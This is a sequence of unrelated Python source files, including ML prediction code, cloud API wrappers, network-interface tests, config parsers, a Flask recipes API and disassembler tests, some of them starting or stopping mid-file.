self.amount_indicator, self.time_indicator])) _p = subprocess.Popen(cmd, shell=True) _sub_processes.append(_p) if i != 0 and i in communicates: [p.communicate() for p in _sub_processes] print("done!") _sub_processes = [] def create_prediction_result_data(self): """ after the parallel process prediction, results are stored in the folder 'temp_next_purchase_results'. Now, it is time to merge them """ print("merge predicted data ...") _import_files = glob.glob(join(self.directory, "temp_next_purchase_results", "*.csv")) li = [] for f in _import_files: # merge all result files try: _df = pd.read_csv(f, index_col=None, header=0) li.append(_df) except Exception as e: print(e) self.results = concat(li, axis=0, ignore_index=True) self.results[self.time_indicator] = self.results[self.time_indicator].apply(lambda x: convert_str_to_day(x)) # remove temp folders shutil.rmtree(join(self.directory, "temp_next_purchase_results", "")) shutil.rmtree(join(self.directory, "temp_next_purchase_inputs", "")) # filter the dates related to selected time period self.results = self.results[(self.results[self.time_indicator] > self.max_date) & (self.results[self.time_indicator] < self.future_date)] print(self.results.head()) print("number of predicted customers :", len(self.results[self.customer_indicator].unique())) def prediction_execute(self): """ This process is running sequentially for each customer and predicts next order of timestamp """ print("*"*5, "PREDICTION", 5*"*") print("number of users :", len(self.customers)) if self.model is None: _model_date = self.prev_model_date if self.prev_model_date is not None else get_current_day() # import trained model from temp. directory folder self.model = model_from_to_json(path=model_path(self.directory, "trained_next_purchase_model", _model_date, self.time_period), weights_path=weights_path(self.directory, "trained_next_purchase_model", _model_date, self.time_period), lr=self.params['lr']) self.results = self.data[[self.time_indicator, 'time_diff', 'time_diff_norm', self.customer_indicator]] self.parallel_prediction() # this process will be triggered via next_purchase_prediction.py self.create_prediction_result_data() # merge all result data def initialize_keras_tuner(self): """ Parameter tuning process is triggered via Keras-Turner Library. However, batch_size and epoch parameters of optimization are created individually. """ self.hyper_params, self.optimum_batch_size = batch_size_hp_ranges(client_sample_sizes=self.client_sample_sizes, num_of_customers=len(self.customers), hyper_params=self.hyper_params) kwargs = {'directory': self.directory} tuner = RandomSearch( self.build_parameter_tuning_model, max_trials=parameter_tuning_trials, hyperparameters=self.hp, allow_new_entries=True, objective='loss', **kwargs) tuner.search(x=self.model_data['x_train'], y=self.model_data['y_train'], epochs=5, batch_size=self.optimum_batch_size, verbose=1, validation_data=(self.model_data['x_test'], self.model_data['y_test'])) for p in tuner.get_best_hyperparameters()[0].values: if p in list(self.params.keys()): self.params[p] = tuner.get_best_hyperparameters()[0].values[p] def batch_size_and_epoch_tuning(self): """ It finds the optimum batch_size and epoch. Each chosen epoch and batch_size of model created via model. Last epoch of loss is lower than 'accept_threshold_for_loss_diff' decision be finalized. Epoch will test ascending format (e.g. 4, 8, 16, ..., 1024) in order to minimize time consumption of both parameter tuning and model creation. Batch size will test descending format (e.g. 1024, 512, ...4) in order to minimize time consumption of both parameter tuning and model creation. """ counter = 0 optimum_epoch_process_done = False epoch_bs_combs = list(product(sorted(self.hyper_params['batch_sizes'], reverse=True), sorted(self.hyper_params['epochs']) )) loss_values = [] while not optimum_epoch_process_done: self.params['epochs'] = int(epoch_bs_combs[counter][1]) self.params['batch_size'] = int(epoch_bs_combs[counter][0]) self.build_model() _history = self.learning_process(save_model=False, history=True) if _history.history['loss'][-1] < accept_threshold_for_loss_diff: optimum_epoch_process_done = True loss_values.append({"epochs": self.params['epochs'], "batch_size": self.params['batch_size'], "loss": _history.history['loss'][-1]}) counter += 1 if counter >= parameter_tuning_trials: optimum_epoch_process_done = True loss_values_df = pd.DataFrame(loss_values).sort_values(by='loss', ascending=True) self.params['epochs'] = list(loss_values_df['epochs'])[0] self.params['batch_size'] = list(loss_values_df['batch_size'])[0] def remove_keras_tuner_folder(self): """ removing keras tuner file. while you need to update the parameters it will affect rerun the parameter tuning. It won`t start unless the folder has been removed. """ try: shutil.rmtree(join(self.directory, "untitled_project")) except Exception as e: print(" Parameter Tuning Keras Turner dummy files have already removed!!") def update_tuned_parameter_file(self): """ tuned parameters are stored at 'test_parameters.yaml.' in given 'export_path' argument. """ # existing model for 'purchase_amount' that means p. tuning was applied for both models. if check_for_existing_parameters(self.directory, 'purchase_amount') is not None: _params = read_yaml(self.directory, "test_parameters.yaml") _params['next_purchase'] = self.params else: print("None of parameter tuning for both Model has been observed.") _params = {'next_purchase': self.params} write_yaml(self.directory, "test_parameters.yaml", _params, ignoring_aliases=True) def parameter_tuning(self): if check_for_existing_parameters(self.directory, 'next_purchase') is None: self.initialize_keras_tuner() self.batch_size_and_epoch_tuning() self.remove_keras_tuner_folder() self.update_tuned_parameter_file() else: self.params = check_for_existing_parameters(self.directory, 'next_purchase') # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompanying this file. This file is # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF # ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. """SageMaker lineage utility methods.""" from __future__ import absolute_import from importlib import import_module from sagemaker.lineage import association def _disassociate(source_arn=None, destination_arn=None, sagemaker_session=None): """Remove the association. Remove incoming association when source_arn is provided, remove outgoing association when destination_arn is provided. """ association_summaries = association.Association.list( source_arn=source_arn, destination_arn=destination_arn, sagemaker_session=sagemaker_session ) for association_summary in association_summaries: curr_association = association.Association( sagemaker_session=sagemaker_session, source_arn=association_summary.source_arn, destination_arn=association_summary.destination_arn, ) curr_association.delete() def get_module(module_name): """Import a module. Args: module_name (str): name of the module to import. Returns: [obj]: The imported module. Raises exceptions when the module name is not found """ try: return import_module(module_name) except ImportError: raise Exception("Cannot import module {}, please try again.".format(module_name)) 2nPlusOne/pygame-platformer LEVEL_MAP = [ ' ', ' ', ' XX ', ' XX XXX XX XX ', ' XX P XX ', ' XXXX XX XX ', ' XXXX XX ', ' XX X XXXX XX XX XX ', ' X XXXX XX XXX XXX ', ' XXXX XXXXXX XX XXXX XXXX XXXXX', 'XXXXXXXXX XXXXXX XX XXXX XXX XXXXX'] LEVEL_MAP2 = [ ' ', ' ', ' ', ' XXXXX ', ' X XXXXXXXXX ', ' X ', ' XXXXXXXX ', ' XXXXXX ', ' XXXX ', ' XXXXXX ', ' XXX ', ' XXX XXXXXXX '] # Game initialization settings TITLE = "Pygame Platformer" TILE_SIZE = 64 # Pixel width and height of each tile SCREEN_WIDTH = 1280 # Pixel width of the game window SCREEN_HEIGHT = 720 # Pixel height of the game window FPS = 60 # Frames per second EST_DELTA_TIME = 1 / FPS # Estimated delta time # Player settings MAX_PLAYER_SPEED = 8 # Maximum speed of the player in pixels per frame SMOOTH_TIME = 0.1 # Time in seconds to smooth player movement COLLISION_TOLERANCE = TILE_SIZE / 4 # Tolerance for collisions in pixels # Jumping COYOTE_TIME = 5 * (1 / FPS) # Frames of coyote time * time duration of 1 frame JUMP_BUFFER_TIME = 5 * (1 / FPS) # Frames of jump input buffer * time duration of 1 frame MAX_JUMPS = 2 # Number of jumps the player has until grounded MAX_JUMP_HEIGHT = 2 * TILE_SIZE # Pixel height of the player's jump TIME_TO_JUMP_APEX = 0.35 * FPS # Number of frames it takes to reach the apex of the jump FALL_GRAVITY_MULTIPLIER = 1.8 # Multiplier for gravity when falling # Colors BG_COLOR = '#1e1e1e' # Background color PLAYER_COLOR = '#007acc' # Player color TILE_COLOR = '#858585' # Tile color # Camera CAMERA_BORDERS = { 'left': SCREEN_WIDTH / 3, # Pixel width of the left border 'right': SCREEN_WIDTH / 3, # Pixel width of the right border 'top': 100, # Pixel height of the top border 'bottom': 150, # Pixel height of the bottom border }0 # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import datetime from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('athletes', '0001_initial'), ] operations = [ migrations.AddField( model_name='sport', name='created_at', field=models.DateTimeField(default=datetime.datetime(2015, 7, 26, 17, 16, 1, 478789, tzinfo=utc), editable=False), preserve_default=False, ), migrations.AddField( model_name='sport', name='updated_at', field=models.DateTimeField(default=datetime.datetime(2015, 7, 26, 17, 16, 15, 958847, tzinfo=utc)), preserve_default=False, ), migrations.AlterField( model_name='athlete', name='league', field=models.ForeignKey(blank=True, to='athletes.League', null=True), ), migrations.AlterField( model_name='athlete', name='team', field=models.ForeignKey(blank=True, to='athletes.Team', null=True), ), ] from setuptools import setup, find_packages import olaf_the_beheader setup( name="olaf-the-beheader", version=olaf_the_beheader.__version__, license="BSD", description="OLAF BEHEAD PUNY FILES!", author="", author_email="", url="https://github.com/etianen/olaf-the-beheader", packages=find_packages(), entry_points={ "console_scripts": ["olaf-the-beheader=olaf_the_beheader.__main__:main"], }, ) # Lint as: python3 # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Wrapper for Cloud APIs.""" import json from typing import Any, List, Optional from absl import logging from googleapiclient import errors import requests.exceptions from google.auth.transport.requests import AuthorizedSession from gps_building_blocks.cloud.utils import cloud_auth from gps_building_blocks.cloud.utils import utils _SERVICE_URL = 'https://serviceusage.googleapis.com/v1/projects' _VERSION = 'v1beta1' # Version of the service usage API. class Error(Exception): """A generic error thrown for any exceptions in cloud_api module.""" pass class CloudApiUtils(object): """CloudApiUtils class provides methods to manage Cloud Services. This class manages Cloud APIs within a single GCP project. Typical usage example: >>> ca_utils = CloudApiUtils('project_id', 'service_account_key_file.json') >>> ca_utils.enable_apis(['storage-component.googleapis.com']) """ def __init__(self, project_id: str, service_account_name: Optional[str] = None, service_account_key_file: Optional[str] = None, version: str = _VERSION) -> None: """Initialise new instance of CloudApiUtils. Args: project_id: GCP project id. service_account_name: The service account name. service_account_key_file: Optional. File containing service account key. version: The version of the service usage service. It defaults to 'v1beta1'. """ if service_account_name: self.client = cloud_auth.build_impersonated_client( 'serviceusage', service_account_name, version) else: if service_account_key_file: credentials = cloud_auth.get_credentials(service_account_key_file) else: logging.info('Neither service account key file nor service account ' 'name was provided, so using default credentials.') credentials = cloud_auth.get_default_credentials() self.client = cloud_auth.build_service_client('serviceusage', credentials) self.project_id = project_id def enable_apis(self, apis: List[str]) -> None: """Enables multiple Cloud APIs for a GCP project. Args: apis: The list of APIs to be enabled. Raises: Error: If the request was not processed successfully. """ parent = f'projects/{self.project_id}' request_body = {'serviceIds': apis} try: request = self.client.services().batchEnable( parent=parent, body=request_body) operation = utils.execute_request(request) utils.wait_for_operation(self.client.operations(), operation) except errors.HttpError: logging.exception('Error occurred while enabling Cloud APIs.') raise Error('Error occurred while enabling Cloud APIs.') def post_request(session: AuthorizedSession, url: str, data: Any) -> None: """Posts a request to the given url. Args: session: The authorised session. url: The url. data: The data to be posted. Raises: Error: If the request was not processed successfully. """ try: response = session.post(url, data) response.raise_for_status() except requests.exceptions.HTTPError as error: logging.exception('HTTPError "%s" "%s": post_request failed', error.response.status_code, error.response.reason) raise Error('HTTPError {} {}: post_request failed.'.format( error.response.status_code, error.response.reason)) def disable_api(session: AuthorizedSession, project_id: str, api: str) -> None: """Disables Cloud API for a given project. Args: session: The authorised session. project_id: GCP project id. api: The API to be disabled. """ disable_api_url = '{}/{}/services/{}:disable'.format(_SERVICE_URL, project_id, api) logging.info('Disabling following API for "%s" project : "%s".', project_id, api) post_request(session, disable_api_url, {'disableDependentServices': True}) def is_api_enabled(session: AuthorizedSession, project_id: str, api: str) -> bool: """Checks if Cloud API is enabled for given project. Args: session: The authorised session. project_id: GCP project id. api: The API to be checked. Returns: True: If the API is enabled. False: If the API is not enabled. """ get_service_url = '{}/{}/services/{}'.format(_SERVICE_URL, project_id, api) response = session.get(get_service_url) service = json.loads(response.content) if service['state'] == 'ENABLED': return True return False li-ma/pyroute2 from pyroute2 import IPRoute from pyroute2 import IPDB from pyroute2 import NetNS from pyroute2.common import uifname from nose.tools import assert_raises from utils import require_user import fcntl import sys RESPAWNS = 1200 class TestIPDBRaces(object): def setup(self): self.ip = IPDB() def teardown(self): self.ip.release() def _ports_mtu_race(self, kind): require_user('root') port1 = (self.ip .create(ifname=uifname(), kind='dummy', mtu=1280) .commit()) port2 = (self.ip .create(ifname=uifname(), kind='dummy') .commit()) master = (self.ip .create(ifname=uifname(), kind=kind) .commit()) try: master.add_port(port1).commit() master.add_port(port2).commit() except: raise finally: port1.remove().commit() port2.remove().commit() master.remove().commit() def test_bridge_mtu(self): for _ in range(300): self._ports_mtu_race('bridge') class TestRespawn(object): def test_respawn_iproute_sync(self): for _ in range(RESPAWNS): with IPRoute() as i: i.bind() i.link_lookup(ifname='lo') def test_respawn_iproute_async(self): for _ in range(RESPAWNS): with IPRoute() as i: i.bind(async=True) i.link_lookup(ifname='lo') def test_respawn_ipdb(self): for _ in range(RESPAWNS): with IPDB(): pass class TestIfs(object): def test_bridge_fd_leaks(self): ifs = [] for _ in range(RESPAWNS): ifs.append(uifname()) with IPDB() as ipdb: for name in ifs: ipdb.create(ifname=name, kind="bridge").commit() with IPDB() as ipdb: for name in ifs: ipdb.interfaces[name].remove().commit() def test_tuntap_fd_leaks(self): ifs = [] for _ in range(RESPAWNS): ifs.append(uifname()) with IPRoute() as ipr: for name in ifs: ipr.link("add", ifname=name, kind="tuntap", mode="tun") with IPDB() as ipdb: for name in ifs: ipdb.interfaces[name].remove().commit() class TestNetNS(object): def test_fd_leaks(self): namespaces = [] for i in range(RESPAWNS): nsid = 'leak_%i' % i ns = NetNS(nsid) ns.close() ns.remove() namespaces.append(ns) if sys.version_info > (3, 2) and sys.version_info < (3, 6): for n in namespaces: assert_raises(OSError, fcntl.fcntl, n.server.sentinel, fcntl.F_GETFD) """ DIRBS Core conditions configuration section parser. Copyright (c) 2018-2021 Qualcomm Technologies, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the limitations in the disclaimer below) provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Qualcomm Technologies, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. - The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment is required by displaying the trademark/logo as per the details provided here: https://www.qualcomm.com/documents/dirbs-logo-and-brand-guidelines - Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. - This notice may not be removed or altered from any source distribution. NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import importlib from dirbs.config.common import ConfigSection, parse_alphanum, ConfigParseException, _logger class ConditionConfig(ConfigSection): """Class representing the configuration for a classification condition.""" def __init__(self, *, ignore_env, **cond_config): """Constructor which parses the condition config.""" super(ConditionConfig, self).__init__(ignore_env=ignore_env, **cond_config) self.label = self._parse_string('label', max_len=64) # Check that condition name contains only letters, underscores and digits(0-9) bad_symbol_error_message = 'Condition label {0} must contain only letters, underscores or digits(0-9)!' parse_alphanum(self.label.lower(), bad_symbol_error_message) self.grace_period = self._parse_positive_int('grace_period_days') self.blocking = self._parse_bool('blocking') self.sticky = self._parse_bool('sticky') self.reason = self._parse_string('reason') self.max_allowed_matching_ratio = self._parse_float_ratio('max_allowed_matching_ratio') self.amnesty_eligible = self._parse_bool('amnesty_eligible') if self.reason.find('|') != -1: msg = 'Illegal pipe character in reason string for condition: {0}'.format(self.label) _logger.error(msg) raise ConfigParseException(msg) dimensions = self.raw_config['dimensions'] if not isinstance(dimensions, list): msg = 'Dimensions not a list type!' _logger.error('{0}: {1}'.format(self.section_name, msg)) raise ConfigParseException(msg) self.dimensions = [DimensionConfig(ignore_env=ignore_env, **d) for d in dimensions] if self.amnesty_eligible and not self.blocking: msg = 'Informational conditions cannot have amnesty_eligible flag set to True.' _logger.error('{0}: {1}'.format(self.section_name, msg)) raise ConfigParseException(msg) def as_dict(self): """Method to turn this config into a dict for serialization purposes.""" rv = self.raw_config rv['dimensions'] = [d.raw_config for d in self.dimensions] return rv @property def section_name(self): """Property for the section name.""" return 'ConditionConfig' @property def valid_keys(self): """Property describing valid config keys.""" return list(self.defaults.keys()) + ['label'] @property def defaults(self): """Property describing defaults for config values.""" return { 'dimensions': [], 'grace_period_days': 30, 'blocking': False, 'sticky': False, 'reason': None, 'max_allowed_matching_ratio': 0.1, 'amnesty_eligible': False } class DimensionConfig(ConfigSection): """Class representing the configuration for an individual classification dimension.""" def __init__(self, **dim_config): """Constructor which parses the dimension config.""" if 'module' not in dim_config: msg = 'No module specified!' _logger.error('DimensionConfig: {0}'.format(msg)) raise ConfigParseException(msg) self.module = dim_config['module'] super(DimensionConfig, self).__init__(**dim_config) try: module = self.raw_config['module'] mod = importlib.import_module('dirbs.dimensions.' + module) except ImportError as ex: _logger.error(str(ex)) msg = '{0}: module {1} can not be imported'.format(self.section_name, module) _logger.error('{0}'.format(msg)) raise ConfigParseException(msg) dim_constructor = mod.__dict__.get('dimension') try: params = self.raw_config['parameters'] dim_constructor(**params) self.params = params except Exception as e: msg_error = "Could not create dimension \'{0}\' with supplied parameters".format(self.module) msg = '{0}: {1}. Cause: {2}'.format(self.section_name, msg_error, str(e)) _logger.error(msg) raise ConfigParseException(msg) self.invert = self._parse_bool('invert') @property def section_name(self): """Property for the section name.""" return 'DimensionConfig' @property def valid_keys(self): """Property describing valid config keys.""" return list(self.defaults.keys()) + ['module'] @property def defaults(self): """Property describing defaults for config values.""" return { 'parameters': {}, 'invert': False } 1-10 from functools import wraps def save_status_to_session(strategy, pipeline_index, *args, **kwargs): """Saves current social-auth status to session.""" strategy.session_set('partial_pipeline', strategy.to_session(pipeline_index + 1, *args, **kwargs)) def partial(func): @wraps(func) def wrapper(strategy, pipeline_index, *args, **kwargs): out = func(strategy=strategy, pipeline_index=pipeline_index, *args, **kwargs) or {} if not isinstance(out, dict): values = strategy.to_session(pipeline_index, *args, **kwargs) strategy.session_set('partial_pipeline', values) return out return wrapper from flask import Flask, Blueprint, json, jsonify, request, make_response, current_app, url_for, current_app as app from os import path import json as simplejson from flask_restful import Resource def JsonData(): json_url = path.join(app.root_path, "../data.json") return json.load(open(json_url)) class RecipesAPI(Resource): def post(self): newRecipe = request.get_json() jsonData = JsonData() for recipe in jsonData['recipes']: if recipe['name'] == newRecipe['name']: responseObject = { "error": "Recipe already exists" } return make_response(jsonify(responseObject)), 400 jsonData['recipes'].append(newRecipe) with open('data.json', 'w') as outfile: json.dump(jsonData, outfile) return make_response(), 201 def get(self): jsonData = JsonData() recipeNames = [] for recipe in jsonData['recipes']: recipeNames.append(recipe['name']) responseObject = { 'recipeNames': recipeNames } return make_response(jsonify(responseObject)), 200 def put(self): recipeToEdit = request.get_json() isEdit = False jsonData = JsonData() for recipe in jsonData['recipes']: if recipe['name'] == recipeToEdit['name']: recipe['instructions'] = recipeToEdit['instructions'] recipe['ingredients'] = recipeToEdit['ingredients'] isEdit = True if isEdit: with open('data.json', 'w') as outfile: json.dump(jsonData, outfile) return make_response(), 201 responseObject = { "error": "Recipe does not exist" } return make_response(jsonify(responseObject)), 404 class RecipesDetailsAPI(Resource): def get(self, recipeName): jsonData = JsonData() recipeDetails = {} for recipe in jsonData['recipes']: if recipeName == recipe['name']: recipeDetails = recipe responseObject = { 'details': recipeDetails } return make_response(jsonify(responseObject)), 200 1-10 from eth2.beacon.types.crosslink_records import ( CrosslinkRecord, ) def test_defaults(sample_crosslink_record_params): crosslink = CrosslinkRecord(**sample_crosslink_record_params) assert crosslink.epoch == sample_crosslink_record_params['epoch'] assert crosslink.crosslink_data_root == sample_crosslink_record_params['crosslink_data_root'] 100-1000 # -*- coding: utf-8 -*- from __future__ import absolute_import, print_function, division import io from tempfile import NamedTemporaryFile from petl.test.helpers import eq_ from petl.io.html import tohtml def test_tohtml(): # exercise function tbl = ((u'name', u'id'), (u'Արամ Խաչատրյան', 1), (u'', 2), (u'әмәдоғлу', 3), (u'章子怡', 4)) fn = NamedTemporaryFile().name tohtml(tbl, fn, encoding='utf-8', lineterminator='\n') # check what it did f = io.open(fn, mode='rt', encoding='utf-8', newline='') actual = f.read() expect = ( u"
    \n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"\n" u"
    nameid
    Արամ Խաչատրյան1
    2
    Вагиф Сәмәдоғлу3
    章子怡4
    \n" ) eq_(expect, actual) tests/expected_gmn_meteor_summary_reader_values.py """ This module stores constant expected properties for testing the model data file. """ import pandas as pd # type: ignore from numpy import dtype EXPECTED_COLUMN_NAMES = [ "Beginning (Julian date)", "Beginning (UTC Time)", "IAU (No)", "IAU (code)", "Sol lon (deg)", "App LST (deg)", "RAgeo (deg)", "+/- (sigma)", "DECgeo (deg)", "+/- (sigma.1)", "LAMgeo (deg)", "+/- (sigma.2)", "BETgeo (deg)", "+/- (sigma.3)", "Vgeo (km/s)", "+/- (sigma.4)", "LAMhel (deg)", "+/- (sigma.5)", "BEThel (deg)", "+/- (sigma.6)", "Vhel (km/s)", "+/- (sigma.7)", "a (AU)", "+/- (sigma.8)", "e", "+/- (sigma.9)", "i (deg)", "+/- (sigma.10)", "peri (deg)", "+/- (sigma.11)", "node (deg)", "+/- (sigma.12)", "Pi (deg)", "+/- (sigma.13)", "b (deg)", "+/- (sigma.14)", "q (AU)", "+/- (sigma.15)", "f (deg)", "+/- (sigma.16)", "M (deg)", "+/- (sigma.17)", "Q (AU)", "+/- (sigma.18)", "n (deg/day)", "+/- (sigma.19)", "T (years)", "+/- (sigma.20)", "TisserandJ", "+/- (sigma.21)", "RAapp (deg)", "+/- (sigma.22)", "DECapp (deg)", "+/- (sigma.23)", "Azim +E (of N deg)", "+/- (sigma.24)", "Elev (deg)", "+/- (sigma.25)", "Vinit (km/s)", "+/- (sigma.26)", "Vavg (km/s)", "+/- (sigma.27)", "LatBeg (+N deg)", "+/- (sigma.28)", "LonBeg (+E deg)", "+/- (sigma.29)", "HtBeg (km)", "+/- (sigma.30)", "LatEnd (+N deg)", "+/- (sigma.31)", "LonEnd (+E deg)", "+/- (sigma.32)", "HtEnd (km)", "+/- (sigma.33)", "Duration (sec)", "Peak (AbsMag)", "Peak Ht (km)", "F (param)", "Mass kg (tau=0.7%)", "Qc (deg)", "MedianFitErr (arcsec)", "Beg in (FOV)", "End in (FOV)", "Num (stat)", "Participating (stations)", "Schema (version)", ] EXPECTED_COLUMN_NAMES_CAMEL_CASE = [ "beginning_julian_date", "beginning_utc_time", "iau_no", "iau_code", "sol_lon_deg", "app_lst_deg", "rageo_deg", "sigma", "decgeo_deg", "sigma_1", "lamgeo_deg", "sigma_2", "betgeo_deg", "sigma_3", "vgeo_km_s", "sigma_4", "lamhel_deg", "sigma_5", "bethel_deg", "sigma_6", "vhel_km_s", "sigma_7", "a_au", "sigma_8", "e", "sigma_9", "i_deg", "sigma_10", "peri_deg", "sigma_11", "node_deg", "sigma_12", "pi_deg", "sigma_13", "b_deg", "sigma_14", "q_au", "sigma_15", "f_deg", "sigma_16", "m_deg", "sigma_17", "q_au_", "sigma_18", "n_deg_day", "sigma_19", "t_years", "sigma_20", "tisserandj", "sigma_21", "raapp_deg", "sigma_22", "decapp_deg", "sigma_23", "azim_e_of_n_deg", "sigma_24", "elev_deg", "sigma_25", "vinit_km_s", "sigma_26", "vavg_km_s", "sigma_27", "latbeg_n_deg", "sigma_28", "lonbeg_e_deg", "sigma_29", "htbeg_km", "sigma_30", "latend_n_deg", "sigma_31", "lonend_e_deg", "sigma_32", "htend_km", "sigma_33", "duration_sec", "peak_absmag", "peak_ht_km", "f_param", "mass_kg_tau_0_7", "qc_deg", "medianfiterr_arcsec", "beg_in_fov", "end_in_fov", "num_stat", "participating_stations", "schema_version", ] EXPECTED_DTYPES = [ dtype("float64"), dtype("CrackerCat/rp #!/usr/bin/python # -*- coding: utf-8 -*- # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see # # @author : from headers.BeaEnginePython import * from nose.tools import * class TestSuite: def test(self): # VEX.128.F2.0F38.W0 4B !(11):rrr:100 # TILELOADD tmm1, sibmem myVEX = VEX('VEX.128.F2.0F38.W0') myVEX.vvvv = 0b1111 myVEX.R = 0b1 Buffer = bytes.fromhex('{}4b0482'.format(myVEX.c4())) myDisasm = Disasm(Buffer) length = myDisasm.read() assert_equal(myDisasm.length, len(Buffer)) assert_equal(myDisasm.infos.Instruction.Opcode, 0x4b) assert_equal(myDisasm.infos.Instruction.Category, AMX_INSTRUCTION) assert_equal(myDisasm.infos.Instruction.Mnemonic, b'tileloadd') assert_equal(myDisasm.infos.Operand1.OpType, REGISTER_TYPE) assert_equal(myDisasm.infos.Operand1.Registers.tmm, REG0) assert_equal(myDisasm.infos.Operand1.OpSize, 8192) assert_equal(myDisasm.infos.Operand1.AccessMode, WRITE) assert_equal(myDisasm.infos.Operand2.OpType, MEMORY_TYPE) assert_equal(myDisasm.infos.Operand2.AccessMode, READ) assert_equal(myDisasm.repr(), 'tileloadd tmm0, [r10+r8*4]') # VEX.128.66.0F38.W0 4B !(11):rrr:100 # TILELOADDT1 tmm1, sibmem myVEX = VEX('VEX.128.66.0F38.W0') myVEX.vvvv = 0b1111 myVEX.R = 0b1 Buffer = bytes.fromhex('{}4b0482'.format(myVEX.c4())) myDisasm = Disasm(Buffer) length = myDisasm.read() assert_equal(myDisasm.length, len(Buffer)) assert_equal(myDisasm.infos.Instruction.Opcode, 0x4b) assert_equal(myDisasm.infos.Instruction.Category, AMX_INSTRUCTION) assert_equal(myDisasm.infos.Instruction.Mnemonic, b'tileloaddt1') assert_equal(myDisasm.infos.Operand1.OpType, REGISTER_TYPE) assert_equal(myDisasm.infos.Operand1.Registers.tmm, REG0) assert_equal(myDisasm.infos.Operand1.OpSize, 8192) assert_equal(myDisasm.infos.Operand1.AccessMode, WRITE) assert_equal(myDisasm.infos.Operand2.OpType, MEMORY_TYPE) assert_equal(myDisasm.infos.Operand2.AccessMode, READ) assert_equal(myDisasm.repr(), 'tileloaddt1 tmm0, [r10+r8*4]') # VEX.128.F3.0F38.W0 4B !(11):rrr:100 # TILESTORED sibmem, tmm1 myVEX = VEX('VEX.128.F3.0F38.W0') myVEX.vvvv = 0b1111 myVEX.R = 0b1 Buffer = bytes.fromhex('{}4b0482'.format(myVEX.c4())) myDisasm = Disasm(Buffer) length = myDisasm.read() assert_equal(myDisasm.length, len(Buffer)) assert_equal(myDisasm.infos.Instruction.Opcode, 0x4b) assert_equal(myDisasm.infos.Instruction.Category, AMX_INSTRUCTION) assert_equal(myDisasm.infos.Instruction.Mnemonic, b'tilestored') assert_equal(myDisasm.infos.Operand2.OpType, REGISTER_TYPE) assert_equal(myDisasm.infos.Operand2.Registers.tmm, REG0) assert_equal(myDisasm.infos.Operand2.OpSize, 8192) assert_equal(myDisasm.infos.Operand2.AccessMode, READ) assert_equal(myDisasm.infos.Operand1.OpType, MEMORY_TYPE) assert_equal(myDisasm.infos.Operand1.AccessMode, WRITE) assert_equal(myDisasm.repr(), 'tilestored [r10+r8*4], tmm0') from .bundled.traitlets \ import \ HasTraits, Enum, Instance, List from .requirement \ import \ Requirement from .package \ import \ PackageInfo from .pool \ import \ Pool class _Job(HasTraits): packages = List(Instance(PackageInfo)) job_type = Enum(["install", "remove", "update", "upgrade"]) requirement = Instance(Requirement) def __init__(self, packages, job_type, requirement, **kw): if packages is None: packages = packages super(_Job, self).__init__(packages=packages, job_type=job_type, requirement=requirement, **kw) def __eq__(self, other): if other is None: return False if len(self.packages) != len(other.packages): return False else: for left, right in zip(self.packages, other.packages): if left != right: return False return self.job_type == other.job_type \ and self.requirement == other.requirement class Request(HasTraits): """A Request instance encompasses the set of jobs to be solved by the dependency solver. """ pool = Instance(Pool) _jobs = List(Instance(Pool)) def __init__(self, pool, **kw): super(Request, self).__init__(pool=pool, _jobs=[], **kw) @property def jobs(self): return self._jobs def _add_job(self, requirement, job_type): packages = self.pool.what_provides(requirement) self.jobs.append(_Job(packages, job_type, requirement)) def install(self, requirement): self._add_job(requirement, "install") def update(self, requirement): 